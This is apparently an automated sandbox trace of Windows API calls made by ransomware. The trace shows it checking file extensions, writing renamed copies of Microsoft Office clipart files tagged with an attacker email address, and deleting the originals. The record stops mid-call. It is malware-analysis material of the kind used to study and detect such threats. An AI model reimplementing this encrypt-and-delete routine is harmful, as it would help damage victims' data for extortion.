[0312.331] lstrlenW (lpString=".pdf") returned 4 [0312.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.331] lstrlenW (lpString=".xls") returned 4 [0312.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.331] lstrlenW (lpString=".xlsx") returned 5 [0312.331] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0312.331] lstrlenW (lpString=".ppt") returned 4 [0312.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0312.331] lstrlenW (lpString=".zip") returned 4 [0312.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.331] lstrlenW (lpString=".rar") returned 4 [0312.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.331] lstrlenW (lpString=".bz2") returned 4 [0312.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.331] lstrlenW (lpString=".7z") returned 3 [0312.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0312.331] lstrlenW (lpString=".dbf") returned 4 [0312.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0312.331] lstrlenW (lpString=".1cd") returned 4 [0312.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0312.332] lstrlenW (lpString=".jpg") returned 4 [0312.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.332] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.332] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.333] GetLastError () returned 0x0 [0312.333] ReadFile (in: hFile=0x38c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x4030, lpOverlapped=0x0) returned 1 [0312.339] WriteFile (in: hFile=0x374, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x4040, lpOverlapped=0x0) returned 1 [0312.340] ReadFile (in: hFile=0x38c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.340] WriteFile (in: hFile=0x374, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.340] SetEndOfFile (hFile=0x374) returned 1 [0312.341] CloseHandle (hObject=0x374) returned 1 [0312.341] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.341] SetEndOfFile (hFile=0x38c) returned 1 [0312.341] CloseHandle (hObject=0x38c) returned 1 [0312.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0312.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0312.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0312.345] lstrlenW (lpString=".doc") returned 4 [0312.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.345] lstrlenW (lpString=".docx") returned 5 [0312.345] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0312.345] lstrlenW (lpString=".pdf") returned 4 [0312.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.345] lstrlenW (lpString=".xls") returned 4 [0312.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.345] lstrlenW (lpString=".xlsx") returned 5 [0312.345] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0312.345] lstrlenW (lpString=".ppt") returned 4 [0312.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0312.345] lstrlenW (lpString=".zip") returned 4 [0312.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.345] lstrlenW (lpString=".rar") returned 4 [0312.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.345] lstrlenW (lpString=".bz2") returned 4 [0312.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.345] lstrlenW (lpString=".7z") returned 3 [0312.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0312.345] lstrlenW (lpString=".dbf") returned 4 [0312.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0312.345] lstrlenW (lpString=".1cd") returned 4 [0312.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0312.346] lstrlenW (lpString=".jpg") returned 4 [0312.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.349] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.350] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0312.387] GetLastError () returned 0x0 [0312.387] ReadFile (in: hFile=0x374, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2a80, lpOverlapped=0x0) returned 1 [0312.389] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2a90, lpOverlapped=0x0) returned 1 [0312.391] ReadFile (in: hFile=0x374, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.391] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.391] SetEndOfFile (hFile=0x388) returned 1 [0312.392] CloseHandle (hObject=0x388) returned 1 [0312.392] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.392] SetEndOfFile (hFile=0x374) returned 1 [0312.393] CloseHandle (hObject=0x374) returned 1 [0312.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 1 [0312.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0312.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0312.394] lstrlenW (lpString=".doc") returned 4 [0312.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.394] lstrlenW (lpString=".docx") returned 5 [0312.395] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0312.395] lstrlenW (lpString=".pdf") returned 4 [0312.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.395] lstrlenW (lpString=".xls") returned 4 [0312.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.395] lstrlenW (lpString=".xlsx") returned 5 [0312.395] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0312.395] lstrlenW (lpString=".ppt") returned 4 [0312.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0312.395] lstrlenW (lpString=".zip") returned 4 [0312.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.395] lstrlenW (lpString=".rar") returned 4 [0312.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.395] lstrlenW (lpString=".bz2") returned 4 [0312.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.395] lstrlenW (lpString=".7z") returned 3 [0312.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0312.395] lstrlenW (lpString=".dbf") returned 4 [0312.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0312.395] lstrlenW (lpString=".1cd") returned 4 [0312.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0312.395] lstrlenW (lpString=".jpg") returned 4 [0312.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.401] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.401] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0312.403] GetLastError () returned 0x0 [0312.403] ReadFile (in: hFile=0x374, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1884, lpOverlapped=0x0) returned 1 [0312.427] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1890, lpOverlapped=0x0) returned 1 [0312.429] ReadFile (in: hFile=0x374, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.429] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.429] SetEndOfFile (hFile=0x388) returned 1 [0312.429] CloseHandle (hObject=0x388) returned 1 [0312.429] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.429] SetEndOfFile (hFile=0x374) returned 1 [0312.430] CloseHandle (hObject=0x374) returned 1 [0312.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0312.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0312.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0312.431] lstrlenW (lpString=".doc") returned 4 [0312.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.431] lstrlenW (lpString=".docx") returned 5 [0312.431] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0312.432] lstrlenW (lpString=".pdf") returned 4 [0312.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.432] lstrlenW (lpString=".xls") returned 4 [0312.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.432] lstrlenW (lpString=".xlsx") returned 5 [0312.432] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0312.432] lstrlenW (lpString=".ppt") returned 4 [0312.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0312.432] lstrlenW (lpString=".zip") returned 4 [0312.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.432] lstrlenW (lpString=".rar") returned 4 [0312.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.432] lstrlenW (lpString=".bz2") returned 4 [0312.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.432] lstrlenW (lpString=".7z") returned 3 [0312.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0312.432] lstrlenW (lpString=".dbf") returned 4 [0312.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0312.432] lstrlenW (lpString=".1cd") returned 4 [0312.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0312.432] lstrlenW (lpString=".jpg") returned 4 [0312.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.433] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.433] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0312.434] GetLastError () returned 0x0 [0312.434] ReadFile (in: hFile=0x374, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3094, lpOverlapped=0x0) returned 1 [0312.458] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x30a0, lpOverlapped=0x0) returned 1 [0312.459] ReadFile (in: hFile=0x374, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.459] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.459] SetEndOfFile (hFile=0x388) returned 1 [0312.460] CloseHandle (hObject=0x388) returned 1 [0312.460] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.460] SetEndOfFile (hFile=0x374) returned 1 [0312.461] CloseHandle (hObject=0x374) returned 1 [0312.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0312.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0312.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0312.464] lstrlenW (lpString=".doc") returned 4 [0312.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.464] lstrlenW (lpString=".docx") returned 5 [0312.464] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0312.464] lstrlenW (lpString=".pdf") returned 4 [0312.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.464] lstrlenW (lpString=".xls") returned 4 [0312.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.464] lstrlenW (lpString=".xlsx") returned 5 [0312.465] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0312.465] lstrlenW (lpString=".ppt") returned 4 [0312.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0312.465] lstrlenW (lpString=".zip") returned 4 [0312.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.465] lstrlenW (lpString=".rar") returned 4 [0312.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.465] lstrlenW (lpString=".bz2") returned 4 [0312.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.465] lstrlenW (lpString=".7z") returned 3 [0312.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0312.465] lstrlenW (lpString=".dbf") returned 4 [0312.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0312.465] lstrlenW (lpString=".1cd") returned 4 [0312.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0312.465] lstrlenW (lpString=".jpg") returned 4 [0312.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.471] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.471] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0312.472] GetLastError () returned 0x0 [0312.472] ReadFile (in: hFile=0x388, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x6688, lpOverlapped=0x0) returned 1 [0312.478] WriteFile (in: hFile=0x318, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x6690, lpOverlapped=0x0) returned 1 [0312.480] ReadFile (in: hFile=0x388, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.480] WriteFile (in: hFile=0x318, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.480] SetEndOfFile (hFile=0x318) returned 1 [0312.480] CloseHandle (hObject=0x318) returned 1 [0312.480] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.480] SetEndOfFile (hFile=0x388) returned 1 [0312.481] CloseHandle (hObject=0x388) returned 1 [0312.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0312.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0312.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0312.483] lstrlenW (lpString=".doc") returned 4 [0312.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.483] lstrlenW (lpString=".docx") returned 5 [0312.483] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0312.483] lstrlenW (lpString=".pdf") returned 4 [0312.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.483] lstrlenW (lpString=".xls") returned 4 [0312.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.483] lstrlenW (lpString=".xlsx") returned 5 [0312.483] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0312.483] lstrlenW (lpString=".ppt") returned 4 [0312.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0312.483] lstrlenW (lpString=".zip") returned 4 [0312.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.483] lstrlenW (lpString=".rar") returned 4 [0312.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.484] lstrlenW (lpString=".bz2") returned 4 [0312.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.484] lstrlenW (lpString=".7z") returned 3 [0312.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0312.484] lstrlenW (lpString=".dbf") returned 4 [0312.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0312.484] lstrlenW (lpString=".1cd") returned 4 [0312.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0312.484] lstrlenW (lpString=".jpg") returned 4 [0312.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.488] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.488] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.488] CreateFileW (lpFileName="C:\\Program 